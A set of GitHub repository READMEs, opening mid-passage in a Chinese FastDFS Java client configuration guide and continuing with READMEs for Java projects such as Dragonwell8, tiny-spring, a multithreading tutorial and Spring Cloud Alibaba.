文件所在位置可以是项目classpath(或OS文件系统目录比如/opt/): /opt/fastdfs-client.properties C:\Users\James\config\fastdfs-client.properties 优先按OS文件系统路径读取，没有找到才查找项目classpath，尤其针对linux环境下的相对路径比如： fastdfs-client.properties config/fastdfs-client.properties ``` fastdfs.connect_timeout_in_seconds = 5 fastdfs.network_timeout_in_seconds = 30 fastdfs.charset = UTF-8 fastdfs.http_anti_steal_token = false fastdfs.http_secret_key = FastDFS1234567890 fastdfs.http_tracker_http_port = 80 fastdfs.tracker_servers = 10.0.11.201:22122,10.0.11.202:22122,10.0.11.203:22122 fastdfs.connection_pool.enabled = true fastdfs.connection_pool.max_count_per_entry = 500 fastdfs.connection_pool.max_idle_time = 3600 fastdfs.connection_pool.max_wait_time_in_ms = 1000 ``` 注1：properties 配置文件中属性名跟 conf 配置文件不尽相同，并且统一加前缀"fastdfs."，便于整合到用户项目配置文件 注2：fastdfs.tracker_servers 配置项不能重复属性名，多个 tracker_server 用逗号","隔开 注3：除了fastdfs.tracker_servers，其它配置项都是可选的 ## 加载配置示例 加载原 conf 格式文件配置： ClientGlobal.init("fdfs_client.conf"); ClientGlobal.init("config/fdfs_client.conf"); ClientGlobal.init("/opt/fdfs_client.conf"); ClientGlobal.init("C:\\Users\\James\\config\\fdfs_client.conf"); 加载 properties 格式文件配置： ClientGlobal.initByProperties("fastdfs-client.properties"); ClientGlobal.initByProperties("config/fastdfs-client.properties"); ClientGlobal.initByProperties("/opt/fastdfs-client.properties"); ClientGlobal.initByProperties("C:\\Users\\James\\config\\fastdfs-client.properties"); 加载 Properties 对象配置： Properties props = new Properties(); props.put(ClientGlobal.PROP_KEY_TRACKER_SERVERS, "10.0.11.101:22122,10.0.11.102:22122"); ClientGlobal.initByProperties(props); 加载 trackerServers 字符串配置： String trackerServers = "10.0.11.101:22122,10.0.11.102:22122"; ClientGlobal.initByTrackers(trackerServers); ## 检查加载配置结果： System.out.println("ClientGlobal.configInfo(): " + ClientGlobal.configInfo()); ``` ClientGlobal.configInfo(): { g_connect_timeout(ms) = 5000 g_network_timeout(ms) = 30000 g_charset = UTF-8 g_anti_steal_token = false g_secret_key = FastDFS1234567890 g_tracker_http_port = 80 g_connection_pool_enabled = true g_connection_pool_max_count_per_entry = 500 g_connection_pool_max_idle_time(ms) = 3600000 g_connection_pool_max_wait_time_in_ms(ms) = 1000 trackerServers = 10.0.11.101:22122,10.0.11.102:22122 } ```

dkim0419/SoundRecorder

A simple sound recording app implementing Material Design

2014-12-24T23:43:30Z

Easy Sound Recorder ============= <p>A simple sound recording app implementing Material Design.</p> [](https://play.google.com/store/apps/details?id=com.danielkim.soundrecorder) [](https://f-droid.org/repository/browse/?fdid=com.danielkim.soundrecorder) Screenshots:     Credits / Libraries used: https://github.com/makovkastar/FloatingActionButton https://github.com/MohammadAG/Android-SoundRecorder https://github.com/astuetz/PagerSlidingTabStrip

ProgrammerAnthony/Pantheon

Pantheon is a microservice Service Registry Center Not Released Now， Only For Study分布式微服务注册中心，使用了很多开源项目的架构思路 暂未发布,仅供学习

2016-04-21T01:08:20Z

# Pantheon Pantheon is inspired by Eureka and Nacos， aiming to build a better Service Registry Center Numerous terrific code snippets and architecture ideas from RocketMq, Zookeeper, ElasticSearch, Redis,Eureka,Nacos, Dubbo...... are introduced into this project.

dragonwell-project/dragonwell8

Alibaba Dragonwell8 JDK

2019-03-07T02:57:45Z

 [Alibaba Dragonwell8 User Guide](https://github.com/dragonwell-project/dragonwell8/wiki/Alibaba-Dragonwell8-User-Guide) [Alibaba Dragonwell8 Extended Edition Release Notes](https://github.com/dragonwell-project/dragonwell8/wiki/Alibaba-Dragonwell8-Extended-Edition-Release-Notes) [Alibaba Dragonwell8 Standard Edition Release Notes](https://github.com/dragonwell-project/dragonwell8/wiki/Alibaba-Dragonwell8-Standard-Edition-Release-Notes) # Introduction Over the years, Java has proliferated in Alibaba. Many applications are written in Java and many our Java developers have written more than one billion lines of Java code. Alibaba Dragonwell, as a downstream version of OpenJDK, is the in-house OpenJDK implementation at Alibaba optimized for online e-commerce, financial, logistics applications running on 100,000+ servers. Alibaba Dragonwell is the engine that runs these distributed Java applications in extreme scaling. The current release supports Linux/x86_64 platform only. Alibaba Dragonwell is clearly a "friendly fork" under the same licensing terms as the upstream OpenJDK project. Alibaba is committed to collaborate closely with OpenJDK community and intends to bring as many customized features as possible from Alibaba Dragonwell to the upstream. # Using Alibaba Dragonwell Alibaba Dragonwell JDK currently supports Linux/x86_64 platform only. ### Installation ##### Option 1, Download and install pre-built Alibaba Dragonwell * You may download a pre-built Alibaba Dragonwell JDK from its GitHub page: https://github.com/dragonwell-project/dragonwell8/releases. * Uncompress the package to the installation directory. ##### Option 2, Install via YUM Alibaba Dragonwell is officially supported and maintained in Alibaba Cloud Linux 2 (Aliyun Linux 2) YUM repository, and this repo should be also compatible with Aliyun Linux 17.1, Red Hat Enterprise Linux 7 and CentOS 7. * For users running Alibaba Cloud Linux 2 OS, you should be able to install Alibaba Dragonwell by simply running: `sudo yum install -y java-1.8.0-alibaba-dragonwell`; * For users running with aforementioned compatible distros, place a new repository file under `/etc/yum.repos.d` (e.g.: `/etc/repos.d/alinux-plus.repo`) with contents as follows, then you should be able to install Alibaba Dragonwell by executing: `sudo yum install -y java-1.8.0-alibaba-dragonwell`: ``` # plus packages provided by Aliyun Linux dev team [plus] name=AliYun-2.1903 - Plus - mirrors.aliyun.com baseurl=http://mirrors.aliyun.com/alinux/2.1903/plus/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/alinux/RPM-GPG-KEY-ALIYUN ``` ### Enable Alibaba Dragonwell for Java applications To enable Alibaba Dragonwell JDK for your application, simply set `JAVA_HOME` to point to the installation directory of Alibaba Dragonwell. If you installed Dragonwell JDK via YUM, follow the instructions prompted from post-install outputs, e.g.: ``` ======================================================================= Alibaba Dragonwell is installed to: /opt/alibaba/java-1.8.0-alibaba-dragonwell-8.0.0.212.b04-1.al7 You can set Alibaba Dragonwell as default JDK by exporting the following ENV VARs: $ export JAVA_HOME=/opt/alibaba/java-1.8.0-alibaba-dragonwell-8.0.0.212.b04-1.al7 $ export PATH=${JAVA_HOME}/bin:$PATH ======================================================================= ``` # Acknowledgement Special thanks to those who have made contributions to Alibaba's internal JDK builds. # Publications Technologies included in Alibaba Dragonwell have been published in following papers * ICSE'19：https://2019.icse-conferences.org/event/icse-2019-technical-papers-safecheck-safety-enhancement-of-java-unsafe-api * ICPE'18: https://dl.acm.org/citation.cfm?id=3186295 * ICSE'18 SEIP https://www.icse2018.org/event/icse-2018-software-engineering-in-practice-java-performance-troubleshooting-and-optimization-at-alibaba

qiurunze123/threadandjuc

⭐⭐⭐⭐高并发-高可靠-高性能three-high-import导入系统-高并发多线程进阶

2018-09-17T07:11:29Z

> 邮箱 : [QiuRunZe_key@163.com](QiuRunZe_key@163.com) > Github : [https://github.com/qiurunze123](https://github.com/qiurunze123) > QQ : [3341386488](3341386488) > QQ群 : [453259026](453259026) > 转载等操作请联系我！ 我更希望你在我的基础上重新自己写一版 #### :couple: 三高导入 兵马未动粮草先行 ### [three-high-import 高可用 高可靠 高性能 三高多线程导入系统（该项目意义为理论贯通)](/docs/code-solve.md) [](https://github.com/qiurunze123) three-high-import 项目意义在于利用多线程进行千万级别导入,实现`可扩展`,`高性能`,`高可用`,`高可靠`三个高，本项目可以在千万级别数据实现无差别高性能数据上报 与导入,与普通导入相比性能提高10倍左右,而且规避风险在偶尔的机器宕机，网络波动等情况出现时，仍能够实现`数据一致`，`数据可靠`，`数据重试`，`数据报警`等功能,在一些重要数据 例如： 对账 ， 账户金额，账单等，需要每日定时任务而且有高风险的数据实现数据无错误！ 多线程从基础到进阶，分析入坑出坑，以及工作实操,最后会分享一个项目，针对如何进行大数据量（经测试几亿数据完全搞的定）进行安全高可用的策略， 示例为高可用高可靠高性能 三高导入系统 DEMO分析 ,如何进行数据分片,数据导入,计算,多线程策略等等 本文属于进阶系列，有问题或者更好的想法可以一起探讨！ 一点小建议：学习本系列知识之前，如果你完全没接触过 `SpringBoot`、`CountDownLatch`、`线程池`、`工作队列`、`工作窃取等` 等，那么我建议你可以先在网上搜一下每一块知识的快速入门， 也可以下载本项目边做边学习， 我的项目完全是实战加讲解不想写一堆的文章，浪费我们的生命，你还不懂内层含义，想要明白就边实际操作边学习 加油💪💪 - 三高导入项目 - [表设计](/docs/code-solve.md)<br> - [数据如何分片](/docs/code-solve.md) - [如何实现高可用](/docs/code-solve.md)<br> - [如何实现高性能](/docs/code-solve.md)<br> - [如何实现高可靠](/docs/code-solve.md) - [如何自定义线程池以及使用与导入](/docs/code-solve.md) - [数据的导入性能(之前的老版本三高导入10万数据大概13s左右新版本还在开发)](/docs/code-solve.md) - [进行线程拆分分配资源 ](/docs/code-solve-split.md) ### [多线程之前更新版本 -- 请进代码路径：com.geek.threadandjuc](/docs/thread-base-1.md) ## 目录 #### :couple: Java多线程基础 - 多线程基础 - [你需要知道的几个概念](/docs/thread-base-0000.md)<br> - [多线程到底有几种实现方式](/docs/thread-base-000.md) - [多线程使用runnable与继承Thread类有什么区别](/docs/thread-base-001.md)<br> - [多线程如何正确优雅的中断线程](/docs/thread-base-002.md)<br> - [多线程的生命周期状态纽机流转错误错误说法](/docs/thread-base-003-1.md) - [多线程的生命周期状态纽机流转](/docs/thread-base-003.md) - [Thread和Object类](/docs/thread-base-003-2.md) - [多线程重要属性](/docs/thread-base-004.md) - [多线程异常处理机制](/docs/thread-base-005.md) - [多线程wait notify notifyall join sleep yield作用与方法详细解读](/docs/thread-base-006.md) - [多线程可能会带来什么问题](/docs/thread-base-007.md) - [多种单例模式](/docs/thread-base-008.md) - 并发容器 - [map简介](/docs/bfrq.md)<br> - [vector和HashTable](/docs/bfrq.md)<br> - [ConcurrentHashMap](/docs/bfrq.md)<br> - [CopyOnWriteArrayList](/docs/bfrq.md) - [BlockingQueue](/docs/bfrq.md)<br> #### :couple: 搞定ThreadLocal - 搞定ThreadLocal - [ThreadLocal定性使用场景介绍](/docs/ThreadLocal.md)<br> - [ThreadLocal一些方法使用](/docs/ThreadLocal.md)<br> - [ThreadLocal源码分析](/docs/ThreadLocal.md)<br> - [ThreadLocal内存泄露](/docs/ThreadLocal.md)<br> - [ThreadLocal如果避免内存泄露](/docs/ThreadLocal.md)<br> - [ThreadLocal在spring中的应用](/docs/ThreadLocal.md)<br> #### :couple: 线程池 - 线程池 - [JDK 线程池高度解析](/docs/thread-base-9.md)<br> - [线程池是什么](/docs/threadpool0001.md) - [多次创建线程的劣势](/docs/threadpool0001.md)<br> - [什么时候使用线程池](/docs/threadpool0001.md)<br> - [线程池的优势](/docs/threadpool0001.md) - [Executor框架](/docs/threadpool0001.md) - [如何使用钩子函数来进行线程池操作](/docs/threadpool0001.md) - [线程池的重点属性](/docs/threadpool0001.md) - [多线程重要属性](/docs/threadpool0001.md) - [线程池的具体实现](/docs/threadpool0001.md) - [线程池的创建](/docs/threadpool0001.md)Z - [线程池参数解释](/docs/threadpool0001.md) - [线程池监控](/docs/threadpool0001.md) - [线程池的源码分析](/docs/threadpool0001.md) - [execute方法](/docs/threadpool0001.md) - [addWorker方法](/docs/threadpool0001.md) - [Worker类](/docs/threadpool0001.md) - [runWorker方法](/docs/threadpool0001.md) - [getTask方法](/docs/threadpool0001.md) - [processWorkerExit方法](/docs/threadpool0001.md) - [小结](/docs/threadpool0001.md) - [processWorkerExit方法](/docs/threadpool0001.md) - [手写线程池代码](/docs/threadpool0001.md) #### :couple: 多线程进阶更新 - 线程池 - [多线程安全问题](/docs/JMM.md)<br> - [JMM多线程内存模型](/docs/JMM.md) - [JMM多线程内存模型](/docs/JMM-1.md)<br> - [死锁专题分析](/docs/dlock.md)<br> - [AQS--一切的基础 Doug Lee 是个天才](/docs/AQS.md) - [Future模式精度分析 Future 模式](/docs/Future.md) - [java并行程序基础](/docs/thread-base-3.md) - [java内存模型和线程安全](/docs/thread-base-4.md) - [valatile 专题解析](/docs/thread-base-5.md) - [无锁类 CAS , ABA , Atomic ......](/docs/thread-base-6.md) - [公平锁,非公平锁，可重入锁，递归锁，自旋锁](/docs/lock.md) - [阻塞队列.](/docs/blocking.md) - [ synchronized和lock 的区别 .](/docs/sandl.md) - [JDK并发包reentrantlock,condition , semaphone ，readwritelock ](/docs/thread-base-7.md) - [countDownLatch](/docs/CountDownLatch.md) - [reentrantlock 源码分析 ReentrantLockDetails](/docs/thread-base-7.md) - [JDK并发包 ConcurrentHashMap 精度分析](/docs/thread-base-8.md) - [JDK ForkJoin 模式精度分析](/docs/thread-base-10.md) - [JDK 单例模式 不变模式 Future模式 生产者 消费者](/docs/thread-base-11.md) - [NIO AIO 详解](/docs/thread-base-12.md) - [并发断点调试 JDK新特性](/docs/thread-base-13.md) - [锁优化 ](/docs/thread-base-13.md) - [数据伪共享 false—shareing disruptor](/docs/false-shareing.md) - [原子性小讲](/docs/atom.md) 更新此问题的出发点是 **disruptor框架和百度的分布式id生成策略** https://github.com/baidu/uid-generator/blob/master/README.zh_cn.md #### :couple: 多线程安全专题 - 线程池 - [一共有几类线程安全的问题](/docs/threadsafe001.md)<br> - [哪些场景需要额外注意线程安全问题](/docs/threadsafe001.md) - [多线程切换上下文](/docs/threadsafe001.md)<br> - [死锁特辑](/docs/threadsafe001.md)<br> ### 多线程juc 分享 https://github.com/qiurunze123/threadandjuc/blob/master/docs/threadinterview.md #### 不知不觉 更新了小半年 从基础到并发到项目直接应用 许多地方不是很好但是是对一个人的考验 从明白到应用到写出来是一个繁琐的过程 #### 耗时耗力不过很庆幸自己没有放弃终究是完成了 最后希望得到大家的指正与意见也希望帮助更多的人 千岩万壑不辞劳 远看方知出处高 溪涧岂能留得住 终归大海做波涛 2019/9/24

code4craft/tiny-spring

A tiny IoC container refer to Spring.

2014-01-10T16:37:57Z

tiny-spring ======= >A tiny IoC container refer to Spring. ## 关于 `tiny-spring`是为了学习Spring的而开发的，可以认为是一个Spring的精简版。Spring的代码很多，层次复杂，阅读起来费劲。我尝试从使用功能的角度出发，参考Spring的实现，一步一步构建，最终完成一个精简版的Spring。有人把程序员与画家做比较，画家有门基本功叫临摹，tiny-spring可以算是一个程序的临摹版本-从自己的需求出发，进行程序设计，同时对著名项目进行参考。 [点此查看](https://www.zybuluo.com/dugu9sword/note/382745)对本项目的类文件结构和逻辑的分析。 (by @dugu9sword) ## 功能 1. 支持singleton类型的bean，包括初始化、属性注入、以及依赖bean注入。 2. 可从xml中读取配置。 3. 可以使用Aspectj的方式进行AOP编写，支持接口和类代理。 ## 使用 `tiny-spring`是逐步进行构建的，里程碑版本我都使用了git tag来管理。例如，最开始的tag是`step-1-container-register-and-get`，那么可以使用 git checkout step-1-container-register-and-get 来获得这一版本。版本历史见[`changelog.md`](https://github.com/code4craft/tiny-spring/blob/master/changelog.md)。 [](https://bitdeli.com/free "Bitdeli Badge") ## 下面是推广 如果觉得代码理解有难度的，可以报名@方老司 的视频教程： [60分钟徒手撸出Spring框架:土法造炮篇](https://segmentfault.com/l/1500000013061317?d=be83d672744f2f15b77bb40795505e4b) [60分钟徒手撸出Spring框架:高仿版](https://segmentfault.com/l/1500000013110630?d=a09ac8198372f552dc68c572b2b38664)

alibaba/spring-cloud-alibaba

Spring Cloud Alibaba provides a one-stop solution for application development for the distributed solutions of Alibaba middleware.

2017-12-01T20:49:15Z

# Spring Cloud Alibaba [](https://circleci.com/gh/alibaba/spring-cloud-alibaba/tree/2023.x) [](https://search.maven.org/search?q=g:com.alibaba.cloud%20AND%20a:spring-cloud-alibaba-dependencies) [](https://www.apache.org/licenses/LICENSE-2.0.html) [](https://github.com/alibaba/spring-cloud-alibaba/actions) [](https://opensource.alibaba.com/contribution_leaderboard/details?projectValue=sca) A project maintained by Alibaba. See the [中文文档](https://github.com/alibaba/spring-cloud-alibaba/blob/2023.x/README-zh.md) for Chinese readme. Spring Cloud Alibaba provides a one-stop solution for distributed application development. It contains all the components required to develop distributed applications, making it easy for you to develop your applications using Spring Cloud. With Spring Cloud Alibaba, you only need to add some annotations and a small amount of configurations to connect Spring Cloud applications to the distributed solutions of Alibaba, and build a distributed application system with Alibaba middleware. ## Features * **Flow control and service degradation**: Flow control for HTTP services is supported by default. You can also customize flow control and service degradation rules using annotations. The rules can be changed dynamically. * **Service registration and discovery**: Service can be registered and clients can discover the instances using Spring-managed beans. Load balancing is consistent with that supported by the corresponding Spring Cloud. * **Distributed configuration**: Support for externalized configuration in a distributed system, auto refresh when configuration changes. * **Event-driven**: Support for building highly scalable event-driven microservices connected with shared messaging systems. * **Distributed Transaction**: Support for distributed transaction solution with high performance and ease of use. * **Alibaba Cloud Object Storage**: Massive, secure, low-cost, and highly reliable cloud storage services. Support for storing and accessing any type of data in any application, anytime, anywhere. * **Alibaba Cloud SchedulerX**: Accurate, highly reliable, and highly available scheduled job scheduling services with response time within seconds. * **Alibaba Cloud SMS**: A messaging service that covers the globe, Alibaba SMS provides convenient, efficient, and intelligent communication capabilities that help businesses quickly contact their customers. For more features, please refer to [Roadmap](https://github.com/alibaba/spring-cloud-alibaba/blob/2023.x/Roadmap.md). In addition to the above-mentioned features, for the needs of enterprise users' scenarios, [Microservices Engine (MSE)](https://www.aliyun.com/product/aliware/mse?spm=github.spring.com.topbar) of Spring Cloud Alibaba's enterprise version provides an enterprise-level microservices governance center, which includes more powerful governance capabilities such as Grayscale Release, Service Warm-up, Lossless Online and Offline and Outlier Ejection. At the same time, it also provides a variety of products and solutions such as enterprise-level Nacos registration / configuration center, enterprise-level cloud native gateway. ## Components **[Sentinel](https://github.com/alibaba/Sentinel)**: Sentinel takes "traffic flow" as the breakthrough point, and provides solutions in areas such as flow control, concurrency, circuit breaking, and load protection to protect service stability. **[Nacos](https://github.com/alibaba/Nacos)**: An easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications. **[RocketMQ](https://rocketmq.apache.org/)**: A distributed messaging and streaming platform with low latency, high performance and reliability, trillion-level capacity and flexible scalability. **[Seata](https://github.com/seata/seata)**: A distributed transaction solution with high performance and ease of use for microservices architecture. **[Alibaba Cloud OSS](https://www.aliyun.com/product/oss)**: An encrypted and secure cloud storage service which stores, processes and accesses massive amounts of data from anywhere in the world. **[Alibaba Cloud SMS](https://www.aliyun.com/product/sms)**: A messaging service that covers the globe, Alibaba SMS provides convenient, efficient, and intelligent communication capabilities that help businesses quickly contact their customers. **[Alibaba Cloud SchedulerX](https://www.aliyun.com/aliware/schedulerx?spm=5176.10695662.784137.1.4b07363dej23L3)**: Accurate, highly reliable, and highly available scheduled job scheduling services with response time within seconds. For more features please refer to [Roadmap](https://github.com/alibaba/spring-cloud-alibaba/blob/2023.x/Roadmap.md). ## How to build * **2023.x branch**: Corresponds to Spring Cloud 2023 & Spring Boot 3.2.x, JDK 17 or later versions are supported. * **2022.x branch**: Corresponds to Spring Cloud 2022 & Spring Boot 3.0.x, JDK 17 or later versions are supported. * **2021.x branch**: Corresponds to Spring Cloud 2021 & Spring Boot 2.6.x. JDK 1.8 or later versions are supported. * **2020.0 branch**: Corresponds to Spring Cloud 2020 & Spring Boot 2.4.x. JDK 1.8 or later versions are supported. * **2.2.x branch**: Corresponds to Spring Cloud Hoxton & Spring Boot 2.2.x. JDK 1.8 or later versions are supported. * **greenwich branch**: Corresponds to Spring Cloud Greenwich & Spring Boot 2.1.x. JDK 1.8 or later versions are supported. * **finchley branch**: Corresponds to Spring Cloud Finchley & Spring Boot 2.0.x. JDK 1.8 or later versions are supported. * **1.x branch**: Corresponds to Spring Cloud Edgware & Spring Boot 1.x, JDK 1.7 or later versions are supported. Spring Cloud uses Maven for most build-related activities, and you should be able to get off the ground quite quickly by cloning the project you are interested in and typing: ```bash ./mvnw install ``` ## How to Use ### Add maven dependency These artifacts are available from Maven Central and Spring Release repository via BOM: ```xml <dependencyManagement> <dependencies> <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-alibaba-dependencies</artifactId> <version>2023.0.1.0</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> ``` add the module in `dependencies`. If you want to choose an older version, you can refer to the [Release Notes](https://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E). ## Examples A `spring-cloud-alibaba-examples` module is included in our project for you to get started with Spring Cloud Alibaba quickly. It contains an example, and you can refer to the readme file in the example project for a quick walkthrough. Examples： [Sentinel Example](https://github.com/alibaba/spring-cloud-alibaba/tree/2023.x/spring-cloud-alibaba-examples/sentinel-example/sentinel-core-example/readme.md) [Nacos Example](https://github.com/alibaba/spring-cloud-alibaba/blob/2023.x/spring-cloud-alibaba-examples/nacos-example/readme.md) [RocketMQ Example](https://github.com/alibaba/spring-cloud-alibaba/blob/2023.x/spring-cloud-alibaba-examples/rocketmq-example/readme.md) [Alibaba Cloud OSS Example](https://github.com/alibaba/aliyun-spring-boot/tree/master/aliyun-spring-boot-samples/aliyun-oss-spring-boot-sample) ## Version control guidelines The version number of the project is in the form of x.x.x, where x is a number, starting from 0, and is not limited to the range 0~9. When the project is in the incubator phase, the version number is 0.x.x. As the interfaces and annotations of Spring Boot 1 and Spring Boot 2 have been changed significantly in the Actuator module, and spring-cloud-commons is also changed quite a lot from 1.x.x to 2.0.0, we take the same version rule as SpringBoot version number. * 1.5.x for Spring Boot 1.5.x * 2.0.x for Spring Boot 2.0.x * 2.1.x for Spring Boot 2.1.x * 2.2.x for Spring Boot 2.2.x * 2020.x for Spring Boot 2.4.x * 2021.x for Spring Boot 2.6.x * 2022.x for Spring Boot 3.0.x * 2023.x for Spring Boot 3.2.x ## Code of Conduct This project is a sub-project of Spring Cloud, it adheres to the Contributor Covenant [code of conduct](https://sca.aliyun.com/en-us/community/developer/contributor-guide/new-contributor-guide_dev/). By participating, you are expected to uphold this code. Please report unacceptable behavior to spring-code-of-conduct@pivotal.io. ## Code Conventions and Housekeeping None of these is essential for a pull request, but they will all help. They can also be added after the original pull request but before a merge. Use the Spring Framework code format conventions. If you use Eclipse you can import formatter settings using the eclipse-code-formatter.xml file from the Spring Cloud Build project. If using IntelliJ, you can use the Eclipse Code Formatter Plugin to import the same file. Make sure all new .java files to have a simple Javadoc class comment with at least an @author tag identifying you, and preferably at least a paragraph on what the class is for. Add the ASF license header comment to all new .java files (copy from existing files in the project) Add yourself as an @author to the .java files that you modify substantially (more than cosmetic changes). Add some Javadocs and, if you change the namespace, some XSD doc elements. A few unit tests would help a lot as well —— someone has to do it. If no-one else is using your branch, please rebase it against the current 2023.x (or other target branch in the main project). When writing a commit message please follow these conventions, if you are fixing an existing issue please add Fixes gh-XXXX at the end of the commit message (where XXXX is the issue number). ## Contact Us Mailing list is recommended for discussing almost anything related to spring-cloud-alibaba. spring-cloud-alibaba@googlegroups.com: You can ask questions here if you encounter any problem when using or developing spring-cloud-alibaba.